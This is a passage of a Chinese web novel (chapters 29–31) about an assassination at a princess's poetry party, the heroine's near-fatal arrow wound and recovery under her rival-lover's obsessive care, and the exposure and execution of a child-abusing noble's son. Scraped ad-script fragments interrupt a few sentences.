寿安长公主沉着脸,对府中侍卫一通训斥。侍卫头领冷汗岑岑,再三保证不会再有失误,便领着手下分散各处,排查刺客与老妇的线索。 长公主坐镇园子,崔时清亦不好再躲在凉阁内,搀扶着腿脚绵软的蔡梦期往外走,纪危舟和李昶紧跟其后。 “六郎可有受伤?” 嫡皇子身份不同,要是真的在此出了问题,公主府和许家都担待不起。 长公主也顾不上吓得魂不守舍的亲生儿子,拉起赵晟真的手,上下打量,后怕得不行。 赵晟真看着还躺在地上、面无血色的许悯儿,“姑母,我无碍的,只是许娘子为了护我,却身受重伤。” 长公主这才注意到血水浸透红衣的魁首娘子,身边的老嬷嬷连忙招呼府医上前。 “六郎不必担心,姑母会命人照顾好她的。”长公主道。 “劳烦姑母费心。”赵晟真没有反对,恭敬地扶着长辈。 长公主欣慰地笑了笑,看向角落中神情恍惚的儿子,笑容微僵,又很快维持住她的体面,关切地安抚赵明来和公主们。 “姑母不中用了,连区区诗会都主持不了,让你们受了惊吓。” 赵明来看出刺客的目标是嫡子,便稳了心神,悄悄避开赵晟真,看了会儿好戏。但众目睽睽之下,他还是装作气虚慌乱的模样。 “贼人狡猾,哪是姑母可以料想到的?” 两位公主却不同,歪在宫女的身边,站也站不稳。正怨着长公主治家不严,也顾不得周全她的颜面,扒拉着宫女的手,一心想着尽快离开,回到宫里。 “今日是我之错,还请诸位见谅。” 长公主的声音透着沧桑,但仍强撑着心底的气劲,目光矍铄地扫视着周围的人。是安抚、亦是施压。 主事的都留下长公主的茶室中,在场皆为小辈,自然不敢拂逆。纷纷垂首行礼,声声言道不敢。 崔时清观察着气若游丝的许悯儿,正觉无趣、收回目光之际,病病殃殃的女子却忽然抬眸看她,眼底闪过一个嘲弄的冷光。 这是在挑衅?还是宣战? 崔时清还没想明白,许悯儿复又垂眸,柔弱地倚靠在侍女身上。 她看向地上,一卷被人遗忘的血书,冷嗤了一声,正要阻止弯腰照顾许悯儿、却意外碰到证物的手。 李昶突然向前一扑,发髻上松垮垮的玉簪终于失去支撑,跟着主人一同跌倒在地,碎不成形。 “哎呀,好疼!”李昶趴在地上,泣声不止,根本没有注意到脚下还压着一只手。 长公主眼皮跳了跳,目光狠戾地盯着他。 直到李昶昂起头来,露出布满泪痕的脸蛋,她才认出这个披头散发的儿郎是御史大夫之子。 “……” 长公主看着被吓破了胆的李昶,又看了眼同样面如菜色的儿子,心情很复杂。 “李家郎君受了惊吓,还不把他扶起来。” 李昶在地上蛄蛹着身子,不忘哭哭啼啼地辩解,“我没有害怕,我是被人绊倒的!” 长公主揉了揉发疼的脑袋,敷衍地说:“好好好,李家郎君还是快起来吧!” “扑哧。” “他说他是被人绊倒的。” “鬼话啊,谁会信呢?” 在遇到刺杀之后,周围第一次发出了轻快的窃笑声。 “……是何人,要害我。”李昶哭得更惨了 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。 崔时清有些不忍。 而始作俑者,依旧从容自如地站在她的身边,甚至伴着李昶的哭声,落井下石道:“让他哭上一场也好,省得惊魂不定,夜里难眠。” 崔时清看着血书还好端端留在原处,也有闲心,便问:“你还关心起李昶了?” “你在意的,我都关心。”纪危舟的嗓音很低,和缓地在耳边响起。 但世间之大,关心的方式也多有不同,不必拘泥于小节。他暗自补充。 今日大事已了,崔时清的心情还算不错,看着眼前这张清俊的面孔,也顺眼了几分。斜睨着他,没有刻意挑刺。 纪危舟眼中含笑,坦然地任其观赏。 蔡梦期:“……” 这都什么时候了,还有功夫谈情说爱! 她捂着耳朵,却盖不住李昶的鬼哭狼嚎,气急败坏下,挽起袖子就把比自己高出一个头的男子生生提溜了起来。 蔡梦期怒道:“闭嘴!” 李昶闭嘴。 场子瞬间安静。 寿安长公主淤堵在心口的闷气,都舒畅了不少。 看过热闹、急着想归家的众人,也给了蔡家恶女一个钦佩又赞许的眼神。 ——不愧是京都恶霸之一,有魄力啊。 崔时清扫了眼伏趴在粗使嬷嬷身上,失血过多、已没了动静的许悯儿,又想起那个令人不悦的目光,总觉得许悯儿还留了后手。 会是什么? 崔时清四处看了一圈,那股不踏实的预感越来越强烈。 不行,得走!这鬼地方,不能呆了! “软软,我们回去吧。” 纪危舟也察觉到一股风雨欲来的味道,低下头,小声说道。 崔时清皱着鼻子,拉着蔡梦期与李昶,默默退至人群之后,只等着寿安长公主发话,立即离开。 “六郎,今日暂且到此,我命人送你们回宫。”长公主神色倦怠。 赵晟真的余光落在地上那张无人问津的血书上,顿了一下,收回视线。 “姑母府中遭了贼子,还须费心归整,不必再为我们忧心。” “也好。”长公主慈爱地拍了拍他的手,又望向围绕在身边的一众亲贵子弟,温声道,“你们也累了,都回吧。” 众人行礼告退,三三两两散开。 长公主扶起还缩在桌下的儿子,恨得不行,但看着许展浑身的狼狈,不免还是怜惜。 “这乱糟糟的一天总算要结束了。”蔡梦期小声抱怨。 李昶擦了擦眼泪,也有了些坚强,抚了抚鬓角上的碎发,问:“可要去拂仙楼?” 蔡梦期不客气道:“你照照镜子,再问。” “……烦人!”李昶咬着唇。 他们边吵边走,争得脸红脖子粗,一时皆忘了要等身后的挚友。 崔时清想走,心中却还有迟疑。 “无妨。”纪危舟扫了一眼血书,握住她的手,轻声安抚。 简简单单两个字,却让崔时清的心,落到了实处。指尖不自觉地给了回应,跟随纪危舟离开。 刀光剑影骤然又起,这一次,哭声惨厉,连成一片。 “不要。” 崔时清怔怔然地望着前方,浑身的血液都化作寒冰,在彻骨的冰冷中,甩开了纪危舟,奔向远处。 29. 正中 三十余名黑衣人手持大刀,突破留守侍卫的攻防,在人群中杀红了眼。 手起刀落、尖叫声下,遍眼的血红洒向青天,又与倒下的尸体同归于尘。 “蔡梦期、李昶!” 在极度的惊恐中,从喉间用力挤出的声音,古怪得变了形。 “我们在这里,在这里。”李昶小小声回应。 在几棵小树的短枝绿叶间,崔时清找到了两个绿油油的脑袋。 她的狐朋狗友! 崔时清的心顿时落了地。 “姑奶奶,这里有个狗洞!” “快来、快来!” 在李昶和蔡梦期的盛情邀请下,崔时清提起长裙,朝他们跑去。 “小心。” 纪危舟夺过长刀,击退了企图靠近崔时清的死士。 崔时清看着近在眼前的狗洞、和朋友,转身瞥了一眼独自抵挡黑衣人的纪危舟。 “你死不了,离我们远点,不要把杀手招来了!” 崔时清理直气壮地交代一声,想也不想就抛下纪危舟,弯腰伏趴在地上,跟在朋友们的身后,往深处爬去。 “……哎呀,别挤!”打头阵的李昶发出痛苦的闷声。 “快点呀!” 还在洞外的崔时清,扬声催促。 “慢吞吞的做什么!腿断了、还是手残了!”蔡梦期用力杵了杵李昶的屁股,叫骂着。 “没路啦,没路了!” 李昶捂着撞上石头的脑袋,气喘吁吁地喊,“狗洞被石头堵了!过不去呀!” “谁这么缺德!”蔡梦期艰难地蜷缩在洞中,气得不行。 “怎么了?怎么不走?!”崔时清没听清李昶的声音,半个身子悬在洞外,心里很不踏实。 “狗洞被石头堵了,过不去啊。”蔡梦期替李昶重复了一遍。 “……谁这么缺德啊!” 崔时清气急败坏,却也没办法,只好往外退,顶着同样绿油油的乱发坐在地上,与还在和黑衣人缠斗的纪危舟,四目相对。 “……” 真夫妻大难临头,也要各自飞,他们还是死对头,没道理死在一块呀!崔时清自认没有错处,但看着平静的黑眸,依旧有些发慌。 被抹了脖子的黑衣人,重重摔在地上。 ‘砰’的一声,崔时清心惊肉跳,抿了抿唇,嘴巴干巴巴的,实在不知该说些才好。 “软软回来了。” 纪危舟唇角微扬,提着滴血的长刀,向她走来。 崔时清头皮发麻。 他的眼眸分明清润平和,温柔如旧,却莫名使人恐惧。如同地狱爬出的鬼魅,漂亮皮囊之下,藏着一只饥饿难忍、随时就要把人吞吃入腹的邪魔。 “走开!” 对方伸手之际,心中有鬼的崔时清双手抱头,凶巴巴地喊了一声。 这次,纪危舟没有听她的,长臂一揽,强势独断地抱起了崔时清。 “别怕。”别怕我。 纪危舟靠在崔时清的肩头,声音有些闷滞。 被抱着,而不是抹脖子的崔时清,大大松了口气,身体也放松了下来,双臂自然地环上纪危舟的脖颈,嘴硬着。 “……我才不怕。” 纪危舟弯着唇,轻声道:“我们回家。” “回什么?!你,你也想抢人不成!” 退出洞口的李昶,在披散的乱发间,露出一双瞪得圆鼓鼓的眼睛,盯着像抱小儿一样,抱着姑奶奶的人,活像见了鬼。 “不要闹了!他们要成婚的!”蔡梦期拽着李昶的头发,亦步亦趋地跟在纪危舟的身边,小心提防着杀手。 “嘶,成婚也不能抢、抢……成婚?!” 成婚是个什么玩意?好不好吃?呵呵,头皮好疼啊! 李昶被扯着头发,恍恍惚惚间,如提线人偶,没有了思考的能力,任由蔡梦期的铁手引路。 纪危舟单手抱着崔时清,利索地挥舞长刀,在来势汹汹的黑衣肉墙前,生生划开一道口子。 不少机灵些的,都壮起胆子,跟在纪危舟的身后闪躲。 有拳脚功夫的儿郎也稳了心神,不再坐以待毙,与纪危舟合围成圈,把手无寸铁的女郎们护在其中。 黑衣人以必死的决心,疯狂屠戮着,但由纪危舟等人合围的保护圈,却暂时抵挡住了他们的进攻,场面僵持不下,分散各院探查的侍卫,陆续赶来。 用尽最后一丝气力的黑衣人,被俘之前皆咬碎口中毒丸,含笑而终。 幸存者目光呆滞地看着周围尽数诛灭的死士,噤若寒蝉。 过了许久,有人问:“结束了吗?” 这个问题像是落入湖中的碎石,微不足道,却在水面荡起缕缕涟漪。 “结束了。”有人回答。 “啊!我流血了!”有人捂着伤处,后知后觉地呼痛。 “以后再也不来公主府了!”有人泣声道。 “我再也不参加诗会了!”还有人长叹。 “……” “见鬼的一天!” “我清清白白做人,怎就招来这般横祸?” “不清白的自有其人。” “你是说,杀手是冲着许、来的?” “恐怕都是苦主啊,否则怎会情愿赴死?” “他该死,害了这么多人!” 在场都是京都有头有脸的权贵,他们欢欢喜喜来玩,却横着抬出去,任谁家也接受不了! 窸窸窣窣、碎碎念声,顿时被点燃,劫后余生的愤慨也在众人的心中蔓延。 纪危舟扔掉长刀,拨掉崔时清面颊上的碎发,看着她说:“我们回去吧。” “放我下来。”没了危险,崔时清也不要纪危舟来抱了。 纪危舟遗憾地叹了口气,弯腰松了手,见崔时清的仪容略显凌乱,双手扶着她,柔声道:“衣裙脏了,我替你挡一挡。” 崔时清低头看了眼皱巴巴的衣袂,没有拒绝,好在众人皆狼狈,于相互搀扶的人群中,并不显眼。 偏头看向李昶、蔡梦期,叮嘱道:“直接回府,不要乱跑了。” “我要回家,用上几大碗的安神汤!”蔡梦期面色发白地点点头。 “啊,我也要。”李昶揉了揉发闷的心口,一瘸一拐跟在他们身边。 提起汤药,崔时清的眼中多了些精气神,“我有个极好的方子,迟些让人送与你们。” 纪危舟忍不住笑了笑,正要跟着讨要,神色骤然一凛,把崔时清推至身后,衣袂鼓风掠过半空,以臂挥挡偷袭的长箭。 同一时间,身后响起破空之音,血腥味混合着闷滞的空气,直冲心肺。 纪危舟回过身,沉默地看着,正中心口的长箭。 泪花被突如其来的钝痛激了出来,桃花眼湿漉漉的,瞅着面无表情的纪危舟,指尖紧紧扣着他的左手,恨不得掐死他。 “为什么?” 分明,你才是我的挡箭牌! 崔时清想不通,自己为什么会中箭。想不通,但也不妨碍她迁怒。 该死的狗 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 东西!该死的天道!又在害她! 身体无力支撑、在倒下的那一刻,她还死死掐着九世宿敌,眼里心中全是不甘。 再来一次!我要…… 呐喊的巨人还没发威,她便失去了意识。 * ‘万事分已定,浮生空自忙’。 纪危舟自知无力改变命运,便顺从天道的安排,以‘天煞孤星’之名,坐上帝位。统治天下数十年,一世又一世。 第一世。 油尽灯枯前,有人问他,皇后陵寝应当如何安置。一双明媚的桃花眼,出现在他的面前。 这糟污虚伪的人世间,如要选一人相伴,纪危舟想要她。 一代大帝终陨落,有人道他冷情冷心、以至孤寡终身,也有不曾忘记他安攘四海、令天下海晏河清。 世人评说非议他的功勋与过,却无人察觉,六亲无缘、断情绝爱的大帝,临终前悄然多了位崔皇后,因去得过早、唯存的数块遗骸被封入红玛瑙宝盒中,安置于后陵。 纪危舟唯一的反骨也只在此,红玛瑙宝盒再未离身。 第七世,在书房彻夜孤坐的纪危舟,很想见到一人。 他来到死牢,暗中观察崔时清许久,企图从她的面上看到恐惧与懊悔。但什么都没有,黑漆漆的桃花眼中除了麻木,什么都没有留下。 他要知道,崔时清在想什么。 他从阴暗处走了出来,直勾勾地盯着崔氏女,低声问她,可有悔意。 她甚至连头都没有抬起,依旧望着虚无处,低哑的嗓音里是万年不变的桀骜。 我没有错。 错的是你、是世间各路魑魅,是这不公的天道。 崔时清再不愿开口,也不愿与他半分眼神。 留下一枚信物,纪危舟给了她逃出生天的机会。 她没有用,甚至没有触碰。 罪人伏诛的消息传来,纪危舟的心空了一瞬。和之前一样,悄无声息地夺走尸骸,化骨成灰,留在了身边。 寿终正寝之际,他没有任何留恋,唯独忆起一双微扬傲慢的桃花眼,听着世间唯有的鲜活,一声声不悔,阖上了眼。 第八世,纪危舟给了她许多便利,狼狈地立于悬崖之巅。 他想,终于要结束了吗? 下一刻,崔时清却死在了他的眼前。 抱起她的尸骨,纪危舟仰头觑着澄澈的碧空,他承认。 是的,我们没有错。 错的是这世间诡异横行、天道无情。 我们都没有错。 * 崔时清面容冷白,气息细弱无声。 ——躯壳无声无息,轻柔拭过被尘泥染污的容颜,他迷茫。 纪危舟双手颤抖,抱起了她。 ——尸骨破碎不堪,血肉浸湿袍衫、冷寒透骨,他窒息。 一下下地轻吻着,渴望着、把她藏进骨缝血肉中,与他融为一体。 ——皮囊青黑僵硬,唯有眉眼间的执拗,还有几分熟悉,他憎恨。 鼻尖一遍又一遍,绘画她的面容,捕捉着若有若无的心跳,与微凉肌肤下,血液流淌的生息。 在惊雷声中,望着气若游丝的女娘,纪危舟笑道:“牠若再把你夺走,我便毁了这人世间,为你出气。” 雷霆飞火、震天动地,彻夜不休不止。 翌日天明,黑云终是散去。 而崔时清也如大梦一场,挂在纪危舟的身上、迷迷瞪瞪地睁开了眼。 “啊、这是,没死吗?!” 30. 痴狂 “崔时清?” 清冷的声音里透着些许困惑,后颈被修长的手指掐住,迫使她仰起头颅,下一瞬,黑冷的眸子便望进她的眼中。 桃花眼还懵懵的,顺着望向映入面前的五官,无悲无喜的眉眼像一尊奉在佛龛里的神像,超然得没有一丝人味。 “你怎么变丑了?” 近来见惯了纪危舟嬉皮笑脸、养鸡喂鱼的随性,再看他仙飘飘的,又在‘吸风饮露’、没个人样。 崔时清有点郁闷。 好不容易把天道之子拉扯成凡夫,谁允许他背着我修仙了?! 缓慢地眨了下眼睛,一夜不眠不休,这时才有了酸胀。水气不自觉地涌出,润泽干涩的眸子,他很慢地眨了几下,舒缓着一波又一波、自身体各处而生的倦怠。 “……你醒了?” 纪危舟不想承认变丑,也不好质疑死里逃生之人的眼神,只好干巴巴地,问了一句废话。 “啊,我……” 崔时清转动着瞳眸。这是国公府。 低下头,松散的亵衣间,包扎的布条还渗出了血。哦、中箭了。 “是谁?!是谁干的!我要杀了他!”崔时清当即暴起,挣扎着绵软的四肢,满心复仇。 “别动,小心伤口。” 纪危舟温声劝着,却敌不过气头上的女娘子。见她疼得皱起了小脸,眼中还是不甘,只好抱着她下了床。 崔时清也不计较走路的是谁,看着自己可算是行动了起来,便心安理得地蜷成团,窝纪危舟的怀里,在他衣袍上蹭了把额间的冷汗,有气无力地指挥道。 “把墙上的鞭子也带上,我非得找出这些狗贼,抽烂他们的皮子才行!” 纪危舟抱着她,在屋子里转了几圈,见她说完狠话卸了力,可算安分了点,才好声好气地解释道:“杀手已转入刑部大牢,此时必然在严刑拷问,你去了,也找不到好皮子的。” “被抓了?是谁?”崔时清有些惊讶。 “是刺杀六皇子的那些人,他们一直藏在暗处,并未离开。” 崔时清皱起眉。 之前几世,杀手袭击六皇子不成,便都撤离,可没有落网的,更没有发动第二次攻击。 这一次,是因为存了太多变数吗? 变数。 许悯儿不止自己来了,还带来死士,屠杀权贵,以此来扩大许展案的影响?是因为…… 伤口突然抽痛,崔时清也没心思去猜想其他,挂在纪危舟的身上,歇了好一会儿,才恨恨道。 “他们不去砍了六皇子,来杀我做什么?” 她很确信,两支长箭都是冲她而来的。 纪危舟眸子发冷,慢声道:“也许,是认错人了?” “认错谁了?我长得像赵晟真啊?” 崔时清忍着痛,昂起头,把漂亮的脸蛋端给他看。 纪危舟认真瞅着她。 面色苍白、唇瓣没有一丝血气,脆弱得像是白瓷娃娃,唯有眼神还是一如既往的倔强,好似冷夜里顽强的烛火,坚定又固执地燃烧。 点了点她的鼻尖,他一本正经地猜测,“兴许是觉得软软贵气不凡,比之六皇子还要重要。” 这厮油嘴滑舌。 崔时清想笑,唇角刚上扬,突然记起第六世,花了五百两雇人暗杀纪危舟,反被杀手当作目标活埋,顿时咬牙切齿问。 “如果有人把我认作你了呢?” 这是要清算他? 纪危舟连忙敛气屏息,故作认真地思考了片刻,说道:“或许这就是坊间常道的夫妻相?软软,我们生来就要在一起啊。” “胡说八道!分明是他眼瞎!”说她长得像纪危舟,跟骂她有什么不同?崔时清可不服气。 纪危舟应和道:“软软说的对,他眼瞎。” “哼!”崔时清还是不高兴。 纪危舟继续顺着毛,替她调整了一个舒服的姿势,哄道:“软软比我好看多了。” 崔时清眉眼微弯,面颊贴在微凉的颈窝间,哼唧了两声,赞许他的识相。 抱着崔时清,纪危舟一边轻拍着她的脊背,一边缓慢走动。在她的耳畔低语着,声音轻缓、染着笑,像是她幼时、轻哼在耳边哄她安睡的歌儿,不成调子却又好听得很。 崔时清耷拉着沉重的眼皮。 纪危舟抱着不再冰凉的身体,掌下温软的触感让他的心也跟着软了下来。他低下头,凝视着紧闭的眼睛、微颤的长睫还透着几分不安。 “累了便睡下,我都在的。” “嗯、要阿姆,不走了……” 在一下下、有节奏的晃动中,崔时清嘟囔着,睡了过去。 呼吸声渐渐绵长,纪危舟直勾勾地望着她,冷嗤了一下。 扶着她的后脑勺,在她的面颊上泄愤地咬了一口,又忍不住低头撬开她的唇齿,痴缠着梦中的人,直到她惨白的唇瓣洇了鲜红,染上他的气息。 “还要何人了?”纪危舟笑着质问。 崔时清睡得很沉,没有回答。 伴着她起伏的心跳,纪危舟卸去了浑身的冷硬,靠在她的肩头,轻轻阖上了眼睛,把自己也交与她,随着她轻缓的呼吸而跳动着心脏。 过了片刻,把崔时清放在榻上,掩好锦衾,纪危舟不舍地勾了勾她的指尖,才走出屋子,打开了门。 他一出来,守在门外、把崔时清的屋子围得密不透风的护卫立刻退下。 扫了一眼门外乌压压的人,开口道:“请吴老入内,再为时娘把脉。” 府医吴言在外面等了一晚上,只能面容苦涩地应了声,与女医一同入内。 他又看了眼跪在前排的柳氏,黑眸沉了沉,对着桑麻说道:“把衣物热水送入里屋,再让厨房把粥食温着。” 桑麻听出了言外之意,倏然抬头,触及那双黑沉的眸子,心也跟着落了地。一骨碌爬起来,左右踌躇了一下,拉起玄鱼,“快,去厨房,备下主子要用的粥食,小心看着火,不要离开。” “……主子?她?”玄鱼不知所措地拉扯着衣裙,还没反应过来。 桑麻没了往日的沉稳,推搡着玄鱼,扬声笑道:“主子好了!快去呀!” 柳氏原本怨恨的眼睛也转为祈求,瞅着纪危舟,期望得到更多。 “三公子,县主她,她……” 纪危舟的声音是不受控制的薄凉,“久病之人,怎会在此?” 柳氏听说公主府之事,便违背命令,私自从庄子回来。 她感到羞愧,却不后悔,含泪道:“奴家有罪,愿受责罚,还请三公子让我再看一眼县主吧。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ” 纪危舟冷漠地看着她,“你以为时娘愿意见到你?” 柳氏的身子瑟缩了一下,眼中全是哀求。 纪危舟想起崔时清在睡梦中还惦记柳氏,心中烦躁,却还是强忍着敛起浑身的冷意,声线平平地说:“时娘身边正是离不得人的时候,你且留下,守好院子,让她宽心。” 柳氏难以置信地瞅着纪危舟。 之前,她轻视此人,认为小主子自有良配,与他绝不可成。 昨夜,她憎恨此人,小主子性命垂危,身边该是至亲。 刚才,她感激此人,兴许就是他的坚持,才留下了小主子。 现在,她敬重此人,他愿意为了小主子,容下她的存在。 “是,奴家会守好院子的。”柳氏伏身叩拜,泣不成声。 纪危舟面无表情地敲打道:“时娘重用,你也不该忘了谨言慎行的道理。” 柳氏拭去面上的泪,恭恭敬敬地行礼道:“三公子的教诲,奴家必不敢忘。” 纪危舟心中不豫,却还是撇开眼,挥了挥手,“进去吧,看一下屋子里还缺什么。时娘刚入睡,不可扰了她。” 柳氏喜不自胜,重重磕了一个头。 而得到消息的吴氏正气愤赶来,见到纪危舟就抡起拐杖,往他身上打。 “混账东西!混账东西!你怎敢拦着我们见软软最后一面啊!”吴氏叫骂间,不由哽咽。 纪危舟皱起眉。 “软软很好,还请祖母慎言。”这一个个的,就没让他顺心的话吗? “……你疯魔了?”吴氏惊愕地觑着他。 昨夜就疯得不行,怎过了一天,还病得更重了? 从公主府回来,数名医者、连同宫中请来的老太医都来看过,一致得出‘心脉寸断、回天乏术’的诊断。 吴氏赶来,却被纪危舟的手下拦住,谁也不让靠近。她没想过纪危舟如此情深,若早些知道,定然不会同意他们的亲事。 过刚易折、情深不寿,世间之事皆如此。 对于权贵世家而言,最好的婚姻应是举案齐眉、相敬如宾,多情不必满盈、方不至于万劫不复,伤及尊荣与门楣,落得半生凄惨。 惦记着见外孙女的最后一面,吴氏狠下心,正要招来府中护卫驱离竖子,守在大门外的随从江南却递出了一枚玉佩。 这是先太子的旧物,一直没有离过纪危舟的身,而今却随意予人,足见他的坚持。 纪光沉默之后,选择退让。 …… “三郎,你该知道。” 纪光扶着吴氏,眉头紧锁地看着眼前的养子,不知如何劝慰。府医匆匆从里屋走出,上前报喜。 “老祖宗、国公爷,县主脉象平稳,已然无碍。” “当真?!我的乖儿欸!” 吴氏浑身颤抖,眼眶里的泪就滚了下来,再顾不得与纪危舟算账。 纪光路过纪危舟的身边,神色复杂地看了他一眼,见他面色如常,没有昨日的颓丧和疯狂,轻叹了一声,搀扶着吴氏往里走。 不多时,亲眼见到崔时清的睡颜,他们才真正相信。 她,活了下来。 面对纪危舟的痴狂,也不再阻拦,无可阻拦。唯盼着经历过生死的儿女,情比金坚、永不变。 31. 教化 长公主一手主持的诗会,涉及了刺杀、强抢幼童、陷害苦主等骇人听闻的行径,还折了十数名权贵子女,顿时引起轩然大波。 京兆尹不得不带着人过来,刺客的来路还没有头绪,但眼皮子底下的血书却很清晰。 经过刑部尚书和大理寺卿家儿郎的指认,这封血书正是老妇呈与六皇子的状书。京兆尹还没想好要如何处理这个烫手山芋,血书的抄本便在京都大小街巷传开,还不嫌事大的用朱砂抄录,看得百姓们群情激愤。 长公主府不能去,驸马许家却可以拿来出气。泼粪都嫌浪费的百姓们挖土搬石,把许家闹得尘土飞扬、门楣破烂,却始终紧闭大门,不敢出面。 事情闹成这样,京兆尹只得在客气地请示过长公主后,把许展带回京兆府狱,以免民怨沸腾,也惹得京兆府灰头土脸。 一番寻常流程的调查下,却牵扯出驸马许家的军屯贪污案,这可不是京兆府可以独自审理的,便立即上禀天听。贤文帝连夜召长公主入宫,不多时便下令三司会审、彻查许家,从严判决。 在异常明晰的铁证之下,三司联合出具了审理文书。 驸马许家军屯贪污案属实,涉及文官武将全数缉拿归案,抄家问斩。 长公主之子许展强抢稚童、亵玩虐杀、陷害苦主属实,血书名录上的苦主案件尽数平反,许展罪大恶极,凌迟处死。 刺杀案没有公开定论。只有消息指出,公主府是前朝王爷留下的府邸,在水榭之下藏了一个密道,刺客是从此进入的。现下所有杀手皆已归案,将按律处决。 对于刺杀的原因,民间多有猜测,各有各的说法,但多数人还是认为这与许展脱不了干系,想必就是那些失去幼子的苦主前来报仇。 但奇怪的是,两批行事不同的杀手,而作为招来杀手的许展,从始至终毫发无损。更奇怪的是,朝堂之上却没有一人对此提出质疑。 惹起民怒的许展成了最好的靶子,掩盖住了所有疑点。 与前世不同,整个案子里,并没有出现魁首娘子许悯儿的名字。 但细读案卷,可以从中找到一名正九品书吏,为了寻回灯会上失踪的五岁小儿,在许家被乱棍打出。还未上告,家中就多了数名幼童尸首,人证物证皆在,书吏被判斩首,全家老少发配陇南。 寥寥数笔,在垒叠得高高的案卷里,在二百五十七人、二百五十七个同样默默无名的小门小户中,写不尽林家的绝望,而为此投下的目光,更是少得可怜。 行刑当日,许展被押赴刑场时遭遇了百姓围堵,因未携带凶器、还有不少苦主,衙役装腔作势地阻拦几下,就以不敌民愤为由退守一旁,由着赤手空拳的百姓替长公主管教其子。 过了许久,衙役才救下血肉模糊、没有一块好皮的死刑犯,拖去市曹,当街凌迟处死。 罪人伏诛、民怨平息,而一直被蒙在鼓里的寿安长公主因自责痛心、一病不起,贤文帝不忍,送她入江南行宫修养病体,安度余生。 崔时清正在院子里看纪危舟堆砌小池塘,玄鱼面色煞白地走过来,把探来的消息说与她听。 她默默听完,在一阵痛快之后,又产生了一种兔死狐悲之感。 崔时清不后悔自己的所作所为,不管是对还是错,都不后悔。可是面对失败、付出代价的时候,总免不了彷徨与恐惧。 这世间哪有人,可以面不改色、心如止水地从容赴死? 没有人。 纪危舟布置池塘时,也不忘关注崔时清的动向,见她神色恹恹,失了兴致。 把她挑选的最后一块彩石堆叠在池底,随意坐了下来,双肘撑在岸边,眼里含着笑,直勾勾望着她。 崔时清心不在焉地扒拉着石头,指腹被不平整的彩石划了一下。 一丝丝的钝痛,没有破皮,却让低落的情绪瞬间被点燃。 “这些脏兮兮的破石头有什么可挑的。” 她生着气,暴躁地推开面前的矮几,彩石滚落满地,稀稀拉拉掉入池塘中,溅起的水花沾湿了衣裙上的木梨花。 这是纪危舟画的样式,每一朵都生得各异,娇小可爱又不失灵动,再以染过香的丝线绣成,使她行走间落英缤纷、步步生香。 “都怪你,非要我选石头!” 崔时清有多喜欢,现在就有多生气,瞪着眼睛去寻罪魁祸首,看到泡在水中的纪危舟,瞳孔颤了一颤,顿时忘了生气。 难不成是被她砸的? 崔时清攒眉看着他面上的水珠,先声夺人道:“几岁的郎儿,怎么还玩起水?” “软软也来试试?很凉快。”纪危舟把下颌支在手臂上,浑身慵懒地瞅她。 崔时清矜持地拨弄着自己的裙摆,冷笑道:“我若试过了,确实会凉的很快。” 被暗算的时候,崔时清就知道自己伤得很重,估计得亡。 时至今日她还是不敢置信,自己居然活了下来。这运气好的,根本不像是她可以拥有的。 周围的人都说,是纪危舟救了她。崔时清也只好信了这厮的医术,安心地把自己的康健大事,全权托付与他。 让吃吃、让喝喝、让歇歇,全都照做不误。 毕竟是空晖禅师的小学徒,真有几分本事,把她养得挺好,小半月过去,她都可以在这里捡石头了! 而要说不好,就是小学徒太没有分寸。胆敢哄着她干活,还美其名曰劳作可以强身健体。 简直像在胡扯! 她听过骑马射箭可以强身健体,就没听过养鸡喂鱼、挖沟捡石、还有亲亲热热……能、能够让人长命百岁的! 可她也不知道怎么了,分明前一刻还在反抗,眨眼间就坐在矮几前,在一堆花里胡哨的石头中挑拣了起来。 ? 崔时清皱着眉头,心想:这厮没在汤药里下了什么迷人心窍的玩意吧? “怎会?我来看看。” 纪危舟话落,长臂一伸,勾住了崔时清身下的软垫,瞬间就把人挪到了自己面前。 “……你!”崔时清吓了一跳,还以为纪危舟要害她,准备拖她入水。 纪危舟把人拢在双臂间,眸子清亮地望着她,“软软想说什么?” 说让你不要害我啊。 这不怪她多疑。她疑的一直都是纪危舟这个人!毕竟是九世死敌,怀疑他,也是对他的认可。 崔时清笑了笑,嫌弃道:“浑身都是水,还不快松开我。” 纪危 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 舟厚起脸皮,歪头枕在她的膝上,理直气壮说:“不碍事的,待会儿就会干。” “……沾了水,木梨花都不好看了。”崔时清抱怨。 纪危舟轻笑着,说道:“软挼不必忧心,这面料绣丝沾了水,反而会更加莹润光泽。” “真的?” 真不真,纪危舟可不知道。但有过多次‘医治’金鲫鱼的经验,足可以让他面不改色,语气笃定地答道:“真的。” 崔时清有些怀疑地低下头,看着裙摆上被水沾湿的木梨花,看了半天也没发现哪里好。 “你少糊弄我。”崔时清推开他的脑袋,没好气道。 纪危舟收紧了双臂,颇为委屈地瞅她,“我可不敢糊弄软软。” “那你还成天给我灌迷魂汤了?”崔时清怒瞪着他,把自己不时犯糊涂的错全都归咎于纪危舟。 “迷魂汤?”纪危舟似是惊讶,直盯着崔时清看。 “怎么,你还不认了?”崔时清也不管他灌没灌,反正全都赖他。 纪危舟把面颊贴在崔时清的臂弯上,仰视着一双气鼓鼓的眼睛,失笑了须臾,只得认下罪行。 “要说迷魂汤,也是有的。” “你还真给我下了药?”崔时清面露惊愕,浑身都僵硬了起来。 她就说,她就说! 这些日子,她就觉得自己古怪得很,原来是这狗东西搞了鬼! “不,我下的是迷魂汤。”纪危舟正色地纠正她。 “……有什么区别吗?!”崔时清脸都绿了,觑着近在眼前的人,面容俊逸、神色淡然,恨不得抓花他的厚脸皮。 “有啊,下药是为了害人,下迷魂汤想的却是怎么留住你。” 崔时清迎上纪危舟的眼睛,狭长的黑眸仰视着她,眼尾平直、清冽冷然,却暗藏勾人的妖精,就这么随意地看着她,也坦然地把心中的不清白,全都撕开了,让她瞧得明明白白。 “……” 他们有些日子没有行过鱼水之欢,即便在纪危舟的勾搭下,起过些许遐思,但她有伤在身,可没有精力寻欢作乐,无欲无求地将养身子,倒也过得轻快自在。 